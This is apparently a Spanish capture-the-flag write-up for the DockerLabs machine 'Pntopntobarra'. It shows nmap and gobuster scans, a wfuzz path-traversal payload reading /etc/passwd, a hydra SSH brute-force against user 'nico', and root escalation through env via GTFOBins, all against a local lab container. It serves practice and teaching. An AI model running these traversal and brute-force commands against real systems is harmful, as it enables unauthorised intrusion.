> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/pntopntobarra.md).

# Pntopntobarra

## Maquina

<figure><img src="/files/EbJVTyewwEZyy8SiDqlZ" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 72:02:58:cd:e0:d9:4f:54:3f:66:c8:23:1f:fc:54:bf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD4rM85TfZpZzXElH5gjqTmtBoQEaWATc1aq0YXY4gEyWQqkFcinCQWwX/7wy/xMUb1XR1s2dnvIh0SaPxMbjl8=
|   256 48:67:04:bf:ef:55:6f:ce:fa:9e:3a:84:05:2d:63:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPPfa0yHsoB9kjp6RF41brT8rhWQEm1vd3quCUKtNFW/
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Advertencia: LeFvIrus
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              ico,txt,py,conf,bash,css,xml,json,svg,rar,gz,jpg,png,ini,log,backup,js,tar,jpeg,pdf,sh,php,html,zip,rb,gif,sql,config
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 757]
/t.php                (Status: 200) [Size: 415]
/styles.css           (Status: 200) [Size: 1266]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```

### Web

{% tabs %}
{% tab title="172.17.0.2" %}

<figure><img src="/files/UVQLLPjhfA8DZ1lBXDHc" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="ejemplos.php" %}

<figure><img src="/files/YOZ9ZLa4ReVFuAzPAUt5" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="t.php" %}

<figure><img src="/files/QehnSr0aDCRKC2gSnYIB" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

### Wfuzz

{% code overflow="wrap" %}

```bash
wfuzz -w /usr/share/wordlists/rockyou.txt -u 172.17.0.2/ejemplos.php\?FUZZ=../../../../../../../etc/pa
```

{% endcode %}

<figure><img src="/files/hOf5N19kKY5a9m0CPVSR" alt=""><figcaption></figcaption></figure>

## Explotación

<figure><img src="/files/RLESFfhECNrqb2JGouIH" alt=""><figcaption></figcaption></figure>

Tenemos un usuario `nico`, probamos a hacer un ataque de fuerza bruta con hydra

```bash
hydra -l nico -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 64  
```

<figure><img src="/files/VQjMNOhbgIu6qvw6vhu0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xUYjMwtmrd83QSuQSvbY" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario

<figure><img src="/files/k2chRH36LwnEisYHZgor" alt=""><figcaption></figcaption></figure>

Lo explotamos siguiendo lo que pone en [GTFOBins](https://gtfobins.github.io/gtfobins/env/), de esta forma ya seriamos `root`

<figure><img src="/files/VWluz833wGehyCgnHULD" alt=""><figcaption></figcaption></figure>

## Conclusión

Maquina facil para practicar fuzzing web
